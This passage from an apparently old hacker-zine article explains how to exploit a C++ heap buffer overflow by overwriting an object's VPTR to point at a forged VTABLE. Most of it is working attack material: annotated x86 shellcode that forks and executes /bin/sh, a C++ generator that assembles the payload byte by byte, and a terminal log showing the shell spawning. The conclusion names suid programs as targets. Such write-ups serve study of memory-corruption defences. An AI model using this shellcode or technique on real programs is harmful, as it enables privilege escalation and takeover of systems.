our execution of the main program.
- the address where we will continue our execution is constant, because it is
the address of the original method (presents in the VTABLE of our object's
relative class).
- we know that we can use our EAX register, because this one would be
overwritten in any case by our method's return value.
- we cannot include any 00h byte in our buffer. We then should regenerate
these bytes (necessary for our strings) at run time.
While applying all these important points, we are going to try to construct a
buffer according to the following diagram:
+------------------------------------<-(1)---------------------------------+
| our VTABLE |
=+=================== ==+=
9999TT999999.... MMMM SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL
==+= ==+= | | | ========
| | | | | \
| +-->--+ | | \(a copy on the stack)
| | | ========
+---(2)-->--------+ | BBB... B
| | |
+-(3)->+ +--> old method
Where: 9 represent NOP bytes (90h).
T represents bytes forming the word of the offset who will be added to
the pointer on the stack (strange handling ;).
M represents the address in our buffer of the beginning of our
shellcode.
S represents the address in our buffer of the "/bin/sh" string.
0 represented 90h bytes, who will be initialized to 00h at run time
(necessary for exec ()).
/bin/sh represents the "/bin/sh" string, without any 00h termination
byte.
A represents a byte of our shellcode (principally to run the shell, then
to copy the stackcode on the stack and to run it).
B represents a byte of our stackcode (principally to reset our buffer
with a new string, and to run the original method to continue the
execution of the original program.
newstring represents the "newstring" string, that will be recopied in
the buffer after execution of the shell, to continue the execution.
V represents a byte of the VPTR, that must point back to the beginning
of our buffer (to our VTABLE).
L represents the byte that will be copy after the VPTR, and that will
be a 0hh byte.
In a more detailed manner, here are the content of our shellcode and
stackcode:
pushl %ebp //save existing EBP
movl %esp,%ebp //stack frame creation
xorl %eax,%eax //EAX=0
movb $0x31,%al //EAX=$StackCodeSize (size of the code
// who will be copied to the stack)
subl %eax,%esp //creation of a local variable to
// contain our stackcode
pushl %edi
pushl %esi
pushl %edx
pushl %ecx
pushl %ebx //save registers
pushf //save flags
cld //direction flag=incrementation
xorl %eax,%eax //EAX=0
movw $0x101,%ax //EAX=$AddThis (value added for
// calculating This on the stack)
subl %eax,0x8(%ebp) //we substract this value from the
// current This value on the stack, to
// restore the original This.
xorl %eax,%eax //EAX=0
movl $0x804a874,%edi //EDI=$BufferAddress+$NullOffset
// (address of NULL dword in our
// buffer)
stosl %eax,%es:(%edi) //we write this NULL in the buffer
movl $0x804a87f,%edi //EDI=$BufferAddress+$BinSh00Offset
// (address of 00h from "/bin/sh")
stosb %al,%es:(%edi) //we write this 00h at the end of
// "/bin/sh"
movb $0x2,%al
int $0x80 //fork()
xorl %edx,%edx //EDX=0
cmpl %edx,%eax
jne 0x804a8c1 //if EAX=0 then jump to LFATHER
// (EAX=0 if father process)
movb $0xb,%al //else we are the child process
movl $0x804a878,%ebx //EBX=$BufferAddress+$BinShOffset
// (address of "/bin/sh")
movl $0x804a870,%ecx //ECX=$BufferAddress+$BinShAddressOffset
// (adresse of address of "/bin/sh")
xorl %edx,%edx //EDX=0h (NULL)
int $0x80 //exec() "/bin/sh"
LFATHER:
movl %edx,%esi //ESI=0
movl %edx,%ecx //ECX=0
movl %edx,%ebx //EBX=0
notl %ebx //EBX=0xFFFFFFFF
movl %edx,%eax //EAX=0
movb $0x72,%al //EAX=0x72
int $0x80 //wait() (wait an exit from the shell)
xorl %ecx,%ecx //ECX=0
movb $0x31,%cl //ECX=$StackCodeSize
movl $0x804a8e2,%esi //ESI=$BufferAddress+$StackCodeOffset
// (address of beginning of the
// stackcode)
movl %ebp,%edi //EDI point to the end of or local
// variable
subl %ecx,%edi //EDI point to the beginning of or
// local variable
movl %edi,%edx //EDX also point to the beginning of
// or local variable
repz movsb %ds:(%esi),%es:(%edi) //copy our stackcode into our local
// variable on the stack
jmp *%edx //run our stackcode on the stack
stackcode:
movl $0x804a913,%esi //ESI=$BufferAddress+$NewBufferOffset
// (point to the new string we want to
// rewrite in the buffer)
movl $0x804a860,%edi //EDI=$BufferAddress (point to the
// beginning of our buffer)
xorl %ecx,%ecx //ECX=0
movb $0x9,%cl //ECX=$NewBufferSize (length of the
// new string)
repz movsb %ds:(%esi),%es:(%edi) //copy the new string at the
// beginning of our buffer
xorb %al,%al //AL=0
stosb %al,%es:(%edi) //put a 00h at the end of the string
movl $0x804a960,%edi //EDI=$BufferAddress+$VPTROffset
// (address of VPTR)
movl $0x8049730,%eax //EAX=$VTABLEAddress (adresse of the
// original VTABLE from our class)
movl %eax,%ebx //EBX=$VTABLEAddress
stosl %eax,%es:(%edi) //correct the VPTR to point to the
// original VTABLE
movb $0x29,%al //AL=$LastByte (byte following the
// VPTR in memory)
stosb %al,%es:(%edi) //we correct this byte
movl 0xc(%ebx),%eax //EAX=*VTABLEAddress+IAddress*4
// (EAX take the address of the
// original method in the original
// VTABLE).
popf
popl %ebx
popl %ecx
popl %edx
popl %esi
popl %edi //restore flags and registers
movl %ebp,%esp
popl %ebp //destroy the stack frame
jmp *%eax //run the original method
We now must code a BufferOverflow() function that is going to "compile" us the
shellcode and the stackcode, and to create the structure of our buffer.
Here are parameters that we should pass to this function:
- BufferAddress = address of our buffer in memory.
- IAddress = index in the VTABLE of the 1st method that will be executed.
- VPTROffset = offset in our buffer of the VPTR to overwrite.
- AddThis = value that will be added to the This pointer on the stack, because
of the "strange handling".
- VTABLEAddress = address of the original VTABLE of our class (coded in the
executable).
- *NewBuffer = a pointer to the new chain that we want to place in our buffer
to normally continue the program.
- LastByte = the original byte following the VPTR in memory, that is
overwritten at the time of the copy of our buffer in the original buffer,
because of the 00h.
Here is the resulting code of the program (bo4.cpp):
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#define BUFFERSIZE 256
class BaseClass {
private:
char Buffer[BUFFERSIZE];
public:
void SetBuffer(char *String) {
strcpy(Buffer,String);
}
virtual void PrintBuffer() {
printf("%s\n",Buffer);
}
};
class MyClass1:public BaseClass {
public:
void PrintBuffer() {
printf("MyClass1: ");
BaseClass::PrintBuffer();
}
};
class MyClass2:public BaseClass {
public:
void PrintBuffer() {
printf("MyClass2: ");
BaseClass::PrintBuffer();
}
};
char *BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset,
unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char LastByte) {
char *CBuf;
unsigned long *LBuf;
unsigned short *SBuf;
char BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize;
unsigned long i,
MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset,
ShellCodeOffset,StackCodeOffset,
NewBufferOffset,NewBuffer00Offset,
LastByteOffset;
char *BinSh="/bin/sh";
CBuf=(char*)malloc(VPTROffset+4+1);
LBuf=(unsigned long*)CBuf;
BinShSize=(char)strlen(BinSh);
ShellCodeSize=0x62;
StackCodeSize=0x91+2-0x62;
NewBufferSize=(char)strlen(NewBuffer);
MethodAddressOffset=IAddress*4;
BinShAddressOffset=MethodAddressOffset+4;
NullOffset=MethodAddressOffset+8;
BinShOffset=MethodAddressOffset+12;
BinSh00Offset=BinShOffset+(unsigned long)BinShSize;
ShellCodeOffset=BinSh00Offset+1;
StackCodeOffset=ShellCodeOffset+(unsigned long)ShellCodeSize;
NewBufferOffset=StackCodeOffset+(unsigned long)StackCodeSize;
NewBuffer00Offset=NewBufferOffset+(unsigned long)NewBufferSize;
LastByteOffset=VPTROffset+4;
for (i=0;i<VPTROffset;i++) CBuf[i]='\x90'; //NOPs
SBuf=(unsigned short*)&LBuf[2];
*SBuf=AddThis; //added to the This pointer on the stack
LBuf=(unsigned long*)&CBuf[MethodAddressOffset];
*LBuf=BufferAddress+ShellCodeOffset; //shellcode's address
LBuf=(unsigned long*)&CBuf[BinShAddressOffset];
*LBuf=BufferAddress+BinShOffset; //address of "/bin/sh"
memcpy(&CBuf[BinShOffset],BinSh,BinShSize); //"/bin/sh" string
//shellcode:
i=ShellCodeOffset;
CBuf[i++]='\x55'; //pushl %ebp
CBuf[i++]='\x89';CBuf[i++]='\xE5'; //movl %esp,%ebp
CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax
CBuf[i++]='\xB0';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%al
CBuf[i++]='\x29';CBuf[i++]='\xC4'; //subl %eax,%esp
CBuf[i++]='\x57'; //pushl %edi
CBuf[i++]='\x56'; //pushl %esi
CBuf[i++]='\x52'; //pushl %edx
CBuf[i++]='\x51'; //pushl %ecx
CBuf[i++]='\x53'; //pushl %ebx
CBuf[i++]='\x9C'; //pushf
CBuf[i++]='\xFC'; //cld
CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax
CBuf[i++]='\x66';CBuf[i++]='\xB8'; //movw $AddThis,%ax
SBuf=(unsigned short*)&CBuf[i];*SBuf=AddThis;i=i+2;
CBuf[i++]='\x29';CBuf[i++]='\x45';CBuf[i++]='\x08'; //subl %eax,0x8(%ebp)
CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax
CBuf[i++]='\xBF'; //movl $BufferAddress+$NullOffset,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NullOffset;i=i+4;
CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi)
CBuf[i++]='\xBF'; //movl $BufferAddress+$BinSh00Offset,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinSh00Offset;i=i+4;
CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)
CBuf[i++]='\xB0';CBuf[i++]='\x02'; //movb $0x2,%al
CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (fork())
CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx
CBuf[i++]='\x39';CBuf[i++]='\xD0'; //cmpl %edx,%eax
CBuf[i++]='\x75';CBuf[i++]='\x10'; //jnz +$0x10 (-> LFATHER)
CBuf[i++]='\xB0';CBuf[i++]='\x0B'; //movb $0xB,%al
CBuf[i++]='\xBB'; //movl $BufferAddress+$BinShOffset,%ebx
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShOffset;i=i+4;
CBuf[i++]='\xB9'; //movl $BufferAddress+$BinShAddressOffset,%ecx
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShAddressOffset;i=i+4;
CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx
CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (execve())
//LFATHER:
CBuf[i++]='\x89';CBuf[i++]='\xD6'; //movl %edx,%esi
CBuf[i++]='\x89';CBuf[i++]='\xD1'; //movl %edx,%ecx
CBuf[i++]='\x89';CBuf[i++]='\xD3'; //movl %edx,%ebx
CBuf[i++]='\xF7';CBuf[i++]='\xD3'; //notl %ebx
CBuf[i++]='\x89';CBuf[i++]='\xD0'; //movl %edx,%eax
CBuf[i++]='\xB0';CBuf[i++]='\x72'; //movb $0x72,%al
CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (wait())
CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx
CBuf[i++]='\xB1';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%cl
CBuf[i++]='\xBE'; //movl $BufferAddress+$StackCodeOffset,%esi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+StackCodeOffset;i=i+4;
CBuf[i++]='\x89';CBuf[i++]='\xEF'; //movl %ebp,%edi
CBuf[i++]='\x29';CBuf[i++]='\xCF'; //subl %ecx,%edi
CBuf[i++]='\x89';CBuf[i++]='\xFA'; //movl %edi,%edx
CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi)
CBuf[i++]='\xFF';CBuf[i++]='\xE2'; //jmp *%edx (stackcode)
//stackcode:
CBuf[i++]='\xBE'; //movl $BufferAddress+$NewBufferOffset,%esi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NewBufferOffset;i=i+4;
CBuf[i++]='\xBF'; //movl $BufferAddress,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress;i=i+4;
CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx
CBuf[i++]='\xB1';CBuf[i++]=NewBufferSize; //movb $NewBufferSize,%cl
CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi)
CBuf[i++]='\x30';CBuf[i++]='\xC0'; //xorb %al,%al
CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)
CBuf[i++]='\xBF'; //movl $BufferAddress+$VPTROffset,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+VPTROffset;i=i+4;
CBuf[i++]='\xB8'; //movl $VTABLEAddress,%eax
LBuf=(unsigned long*)&CBuf[i];*LBuf=VTABLEAddress;i=i+4;
CBuf[i++]='\x89';CBuf[i++]='\xC3'; //movl %eax,%ebx
CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi)
CBuf[i++]='\xB0';CBuf[i++]=LastByte; //movb $LastByte,%al
CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)
CBuf[i++]='\x8B';CBuf[i++]='\x43';
CBuf[i++]=(char)4*IAddress; //movl $4*Iaddress(%ebx),%eax
CBuf[i++]='\x9D'; //popf
CBuf[i++]='\x5B'; //popl %ebx
CBuf[i++]='\x59'; //popl %ecx
CBuf[i++]='\x5A'; //popl %edx
CBuf[i++]='\x5E'; //popl %esi
CBuf[i++]='\x5F'; //popl %edi
CBuf[i++]='\x89';CBuf[i++]='\xEC'; //movl %ebp,%esp
CBuf[i++]='\x5D'; //popl %ebp
CBuf[i++]='\xFF';CBuf[i++]='\xE0'; //jmp *%eax
memcpy(&CBuf[NewBufferOffset],NewBuffer,(unsigned long)NewBufferSize);
//insert the new string into the buffer
LBuf=(unsigned long*)&CBuf[VPTROffset];
*LBuf=BufferAddress; //address of our VTABLE
CBuf[LastByteOffset]=0; //last byte (for strcpy())
return CBuf;
}
void main() {
BaseClass *Object[2];
unsigned long *VTABLEAddress;
Object[0]=new MyClass1;
Object[1]=new MyClass2;
printf("Object[0] address = %X\n",(unsigned long)&(*Object[0]));
VTABLEAddress=(unsigned long*) ((char*)&(*Object[0])+256);
printf("VTable address = %X\n",*VTABLEAddress);
Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),3,BUFFERSIZE,
0x0101,*VTABLEAddress,"newstring",0x29));
Object[1]->SetBuffer("string2");
Object[0]->PrintBuffer();
Object[1]->PrintBuffer();
}
Now, we are ready to compile and to check...
rix@pentium:~/BO > gcc -o bo4 bo4.cpp
rix@pentium:~/BO > bo4
adresse Object[0] = 804A860
adresse VTable = 8049730
sh-2.02$ exit
exit
MyClass1: newstring
MyClass2: string2
rix@pentium:~/BO >
And as foreseen, our shell executes himself, then the program continue its
execution, with a new string in the buffer ("newstring ")!!!
Conclusion
==========
To summarize, let's note that the basis technique requires the following
conditions for success:
- a buffer of a certain minimal size
- suid program
- executable heap and/or executable stack (according to techniques)
- to know the address of the beginning of the buffer (on the heap or on the
stack)
- to know the offset from the beginning of the buffer of the VPTR (fixed for
all executions)
- to know the offset in the VTABLE of the pointer to the 1st method executed
after the overflow (fixed for all executions)
- to know the address of the VTABLE if we want to continue the execution of
the program correctly.
I hope this article will have once again show you how pointers (more and more
used in modern programming ) can be very dangerous in some particular cases.
We notice that some languages as powerful as C++, always include some
weakness, and that this is not with a particular language or tools that a
program becomes secured, but mainly because of the knowledge and expertise
of its conceivers...
Thanks to: route, klog, mayhem, nite, darkbug.
|EOF|-------------------------------------------------------------------------|